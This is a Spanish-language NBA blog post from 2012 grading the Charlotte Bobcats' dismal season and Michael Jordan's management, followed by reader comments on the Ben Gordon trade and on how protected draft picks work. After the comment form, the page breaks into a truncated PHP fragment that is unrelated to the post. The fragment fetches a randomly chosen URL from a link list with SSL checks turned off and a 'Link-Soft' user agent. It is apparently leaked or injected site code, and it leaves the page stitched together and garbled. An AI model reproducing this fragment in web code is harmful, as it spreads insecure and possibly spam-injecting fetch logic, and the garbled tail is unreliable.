Charlotte Bobcats: Muy deficiente

27 de June de 2012 por TheDeerHunter

El semi-dios considerado casi universalmente como mejor jugador de todos los tiempos está empeñado en ser mito también como propietario y manager, en este caso negativo. Indudablemente lo ha conseguido. Estamos ante uno de los casos más lamentables en toda la historia del deporte colectivo profesional por obra y gracia suya. Hace poco hablábamos de Don De Jardin y sus patéticos “Nine&73ers” pero mientras que aquel permaneció ese único año en el cargo y, como muchos protagonistas entonces, no volvió a poner un pie en la liga, su majestad el Sr. Jordan todavía está en condiciones de liarla a voluntad. Que alguien le regale el PC Basket, por favor.

La situación puede resumirse en los, hasta hoy mismo, tres mayores contratos de la franquicia: Corey Maggette, 10 kilos; Tyrus Thomas, 7.5,  y DeSagana Diop 7 más. Eso es un big three y lo demás son tonterías. Les siguen Matt Carroll y Nájera con otros 4 y 3. Alguien le debería señalar a MJ que existen infinidad de mejores maneras para quemar el dinero. Exceptuando el de Augustine, que tampoco es para salir a tirar cohetes, diría que puede ser el peor repóker de contratos que alguna vez hayan liderado las tablas salariales de un equipo NBA.

Si algo remotamente positivo podemos rescatar de entre las acciones/decisiones de “su ilustrísima” es que Kemba Walker y Bismack Biyombo no parecen tan deprimentemente mediocres como la legendaria dupla Brown-Morrison. Tampoco Paul Silas era un Roy Robin de la vida por mucho que su sapiencia no se haya visto por ningún lado. Personalmente creo que ni Red Auerbach reencarnado hubiera podido sacar mejor rendimiento a una banda de tal calibre que, para colmo, ha sufrido ausencias significativas buena parte del curso. En cualquier caso Silas ya es historia de la franquicia. El cargo de mayor responsabilidad destituido hasta la fecha. Si ya han encontrado culpable…

Lo más alucinante no es la magnitud del despropósito. Lo más alucinante es que Boris Diaw comenzó como un tiro, que llegamos a mencionar a BJ Mullens y DJ White como candidatos al MIP, que Augustine comenzó mejor que nunca, Gerald Henderson y Derrrick Brown tuvieron sus momentos… ¿Qué récord hubieran firmado de salir las cosas aún peor? Y para flipar la capacidad predictiva de nuestro querido Sancho este curso con ellos. ¡Nostradamus!

Lo mejor: Que no hay mal que 100 años dure. Será difícil hacerlo peor en el futuro. Si el objetivo era pillar más papeletas que nadie para el draft lo han bordado.

Lo peor: Que son tan desgraciados que ni el pick nº1 se han llevado para el gaznate. Pensándolo bien tampoco es tan malo, con él hubieran sido capaces de elegir a mi primo Bartolo. Y ¿quién narices es Mike Dunlap?

Jugando a General Manager

Si fuera el GM de los Bobcats lo primero que haría sería dimitir para dedicarme en exclusiva a jugar al golf, al PC Basket y a encenderme los puros con billetes de 100$, pero como aquí estamos para tratar de imaginar remotas soluciones al desaguisado vamos a ello.

– A pesar de que se les escapa Anthony Davis hay más que interesantes alternativas para todos los gustos y posiciones. Nuestros más fieles seguidores del “melonar” ya han apuntado algunos nombres. Era de la cuerda de los que seleccionarían un buen ala-pívot, aunque la opción que se comenta de traspasar el pick por un anotador contrastado como Rudy Gay me parece incluso mejor idea para cambiar esa terrible dinámica perdedora de forma más inmediata. Sus aficionados no se merecen tanto castigo, si es que les queda alguno. Para colmo, a hombres como Jared Sullinger o Perry Jones parece que les ha mirado el mismo tuerto que a la franquicia en los mocks.

– Renovaría sin pensármelo a Derrick Brown. Si no se suben mucho a la parra también a DJ Augustin y DJ White.

– Dejaría marchar a Carroll, Najera, Jamario y Higgins. Pondría una velita para que a DeSagana no se le ocurra ejercer su player option. Tememos que no caerá esa breva.

Difícilmente todo esto no logrará que el equipo deje de ser candidato a la cuchara de madera el año que viene. Este pozo es demasiado hondo.

Comenta

25 comentarios a esta entrada

  1. Jose Luis dice:
    #1

    Pues por ahora se traen a Ben Gordon por Corey Maggette. Creo que Gordon tiene un año más de contrato…

      Citar

  2. Jose Luis dice:
    #2

    Ostras ostras… Ben Gordon tiene 2 años de contrato + una Player Option ¿alguien duda que la ejercerá? también va a Charlotte una 1ªronda de 2013 protegida

    The draft pick is lottery protected for 2013, top-eight protected for 2014, No.1-protected for 2015 and unprotected in 2016.

    Pero Maggette sólo tiene un año… o los Bobcats creen que Gordon aún puede ser algo, o estarán pagándole 3 años y cerca de 35 millones para ganar una ronda y quitarse los 10 de Maggette. 25 millones por una ronda…

      Citar

  3. TheDeerHunter dice:
    #3

    Lo de los Bobcats es muy fuerte…

      Citar

  4. Sancho88 dice:
    #4

    Deer, sí, la cagué con los Bobcats, pero espero que tb reflejes el acierto casi al 100% de mi predicción con los Heat. Me equivoqué por una sola victoria, ahí es nada!!! Bueno, de esta banda lo único aprovechable es Kemba Walker, Mullens, Henderson y Biyombo. Yo no renovaría a Brown ni a Augustin. Lo demás no vale

      Citar

  5. Vader dice:
    #5

    25 millones por una 1ra ronda… Bueno nadie podra decir ahora que Jordan no se los gasta en el equipo!! XD

      Citar

  6. Sancho88 dice:
    #6

    Creeis que sería posible encasquetarle a Salmons y Outlaw?? xd

      Citar

  7. amunikes dice:
    #7

    Hola buenas, me podriais decir que significa lo de la ronda protegida¿

      Citar

  8. Esteban dice:
    #8

    dificil jugar al GM con estew equipo, todos sus contratos o son malos o muy malos, y el rendimiento de este este año fue malo o muy malo

    no me soprende ni me desagrada el trade gordon por maggette, para reforzar el equipo, sin dudas iban y van a tener que asumir contratos peores a los que tienen, sino nadie querra a sus players

    maggette es un buen jugador de conjunto, pero no tiene ni el talento y la capacidad de cargarse a un equipo como anotador, creo que si la tiene gordon, de hecho su comienzo como titular el año pasado fue realmente bueno, despues decayo ante la irrupcion de Knight y el intento de que progrese, mando a stuckey de 2 y a gordon al banco

    buena primera medida, ya que gordon prodra asumir un rol de referente ofensivo, otra modiva que vendria bien, y asumiendo que se tendran que comer salarios, seria su pick 2 por gay, menphis podria sumar un 2 con futuro como MKG y mucho mas barato, y los bobcats al menos tendrian un cara de referencia mas en ofensiva, el talento nunca viene mal

    lo logico seria reforzar todos los puestos menos el base y el pivot, donde deben hacer rendir sus picks top 10, biyombo y walker o morir en el intento,

    si se quedan con el pick, su eleccion sera robinson, complemento perfecto de biyombo, con el objetivo de perder todos los juegos denuevo, para ir por muhamad en el proximo draft

      Citar

  9. portu dice:
    #9

    Alguna confianza en Ben Gordon deben tener, no hay otra explicación posible, pero su puesto lo tienen más o menos bien cubierto con Henderson, así q sería un 6º hombre… no se entiende…
    O pegan el gran descubrimiento en el draft con el pick 2 o volverán a ser el hazmerreir q fueron esta temporada. Traerse un tío estilo R. Gay por el pick 2 me parece contraproducente, nadie vendría a mejorar al equipo sabiendo q cae en el peor equipo de la liga, intentarían hacer sus números y poco más… más vale confiar en lo poco potable q hay (Kemba, Henderson, Biyombo, Mullens) y en el pick. Como mucho podrían bajar al puesto 3-4-5 del draft y pillarían un 3 de calidad q es lo q más necesitan, así q si les llega algo bueno por empeorar su pick tb sería un buen negocio.

      Citar

  10. Esteban dice:
    #10

    gordon es mejir que henderon, que hizo algunos numeros aceptables por jugar con una banda, creo que henderson saltara de 6to hombre y le puede ir muy bien

      Citar

  11. Sancho88 dice:
    #11

    Bueno, Gordon puede jugar con Henderson en la pista, al igual que ocurre con Reggie Williams. Henderson puede hacer de 2 o de 3, ahí no creo que esté el problema. El problema es implicar de alguna manera a estos chavales para que defiendan algo. Luego está Tyrus Thomas, que es un quiste muy feote que no te lo puedes quitar de encima, igual que Diop… lo único que se me ocurre que podrían hacer es eso, aprovechar sus picks de este año, y darle toda la confianza a Walker, Biyombo, Mullens y a los chavales que consigan para el proyecto. Luego tienes tres aleros que pueden anotar y tampoco son tan malos defendiendo, y sobre todo eso, les falta tener actitud defensiva, para empezar a crecer delante. Creo que ya nada será tan desastroso como esta temporada y su reto tiene que ser ir a por las 20-25 victorias para seguir creyendo que son un equipo de la NBA.

    Como explicación al trade de Gordon, ego de MJ por delante, creo que su majestad se creyó en su día a la prensa de Chicago que lo comparaba con él en sus bueños años, que decían que Gordon era el nuevo Michael y habrá dicho… sí? eres el nuevo Michael? Ven con papi!! Juanita… pásame otra de esas de LCD… o LSD… CÓMO? Juanita? Dónde estás?? Así más o menos está Jordan, más bien demente y anclado en el pasado.

    Por cierto, Larry ha dejado los Pacers me parece

      Citar

  12. Esteban dice:
    #12

    no creo que sea tan asi sancho, gordon con confianza y minutos es un anotador total, en los pintos estuvo a la sombra de hamilton y el ultimo año de stuckey, pero no hace ni 3 meses metio 48 puntos en un partido, eso no lo hace un all star, pero tampoco es moco de pavo

    creo que con gordon y con robinson tendran un talento ofensivo que no tenian el año pasado, para al menos no volver a ser el peor equipo de la historia

    con esos contratos por ese rendimiento no le queda otra a los cats q ir por otro lugar alto en la loteria,

      Citar

  13. M dice:
    #13

    A mí me fascina ver los movimientos visionarios de Jordan, es una especie de Cruyff si ninguno de sus aciertos xD

      Citar

  14. lost dice:
    #14

    Deer, yo antes del inicio de la temporada pensaba como Sancho, no lo veía un buen equipo, pero si un 10 de la conferencia… Kemba-Gordon-Gay-Mullens-Byombo con Henderson y Augustine desde el banquillo me parece un equipo de octava plaza en el Este

      Citar

  15. Vader dice:
    #15

    ¿Octavo del este? ¿Con Miami, Chicago, Indiana, New York, Milwake, Washington, Boston, Atlanta, Detroit, Philadelphia, etc..?

    Creo que habra equipos mejores y más hechos para playoff.

      Citar

  16. Blade Petrovic dice:
    #16

    Txus has recibido lo que te envie?

      Citar

  17. MagicJohnson32 dice:
    #17

    amunikes:
    Hola buenas, me podriais decir que significa lo de la ronda protegida¿

    Hola amunikes. Con frecuencia, los equipos traspasan sus elecciones del draft futuras bajo ciertas condiciones. Como generalmente los traspasos se producen antes de que se sepa qué elección corresponde a cada equipo, muchas veces se condiciona la ronda a que, una vez celebrado el sorteo, no corresponda a una de las primeras elecciones. Por ejemplo: un equipo traspasa una primera ronda protegida en el draft de 2013 a Top 10, en el draft de 2014 a Top 5 y en el draft de 2015 a Top 3. ¿Se entiende?

      Citar

  18. Jose Luis dice:
    #18

    Visto así, no es tan malo el cambio Gordon-Maggette

    http://espndeportes.espn.go.com/news/story?id=1553643&s=bas&type=column

    Y es que siempre se me olvida lo del gasto mínimo

      Citar

  19. amunikes dice:
    #19

    MagicJohnson32: Hola amunikes. Con frecuencia, los equipos traspasan sus elecciones del draft futuras bajo ciertas condiciones. Como generalmente los traspasos se producen antes de que se sepa qué elección corresponde a cada equipo, muchas veces se condiciona la ronda a que, una vez celebrado el sorteo, no corresponda a una de las primeras elecciones. Por ejemplo: un equipo traspasa una primera ronda protegida en el draft de 2013 a Top 10, en el draft de 2014 a Top 5 y en el draft de 2015 a Top 3. ¿Se entiende?

    si creo que si, eso quiere decir que con ese ejemplo, el equipo en 2013 en el sorteo sale 11 la envia, pero si sale 5 se la queda?? gracias

      Citar

  20. MagicJohnson32 dice:
    #20

    amunikes: si creo que si, eso quiere decir que con ese ejemplo, el equipo en 2013 en el sorteo sale 11 la envia, pero si sale 5 se la queda?? gracias

    Correcto 😉

      Citar

  21. nach dice:
    #21

    amunikes: si creo que si, eso quiere decir que con ese ejemplo, el equipo en 2013 en el sorteo sale 11 la envia, pero si sale 5 se la queda?? gracias

    Exactamente, y la ronda saltaría al año siguiente, con las condiciones del año siguiente

      Citar

  22. amunikes dice:
    #22

    Vale muchisimas gracias Magic y nach, es que era una duda que siempre habia tenido 😉

      Citar

  23. Uno cualquiera dice:
    #23

    Creo que deberíais haber creado una nota especial para los Bobcats, algo así como “Charlotte Bobcats: Ni para la LEB”. No me parece justo que tengan la misma calificación que equipos como Kings, Wizards o Hornets.

      Citar

  24. Txusma dice:
    #24

    Uno cualquiera:
    Creo que deberíais haber creado una nota especial para los Bobcats, algo así como “Charlotte Bobcats: Ni para la LEB”. No me parece justo que tengan la misma calificación que equipos como Kings, Wizards o Hornets.

    Posiblemente tienes razón. De hecho podría haber sido un “No presentado”

      Citar

  25. Uno cualquiera dice:
    #25

    Txusma: Posiblemente tienes razón. De hecho podría haber sido un “No presentado”

    En cualquier caso, felicitaros como siempre por los buenos artículos que publicáis, que muchas veces lo damos por hecho pero sé que de vez en cuando es bueno recordároslo 🙂

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>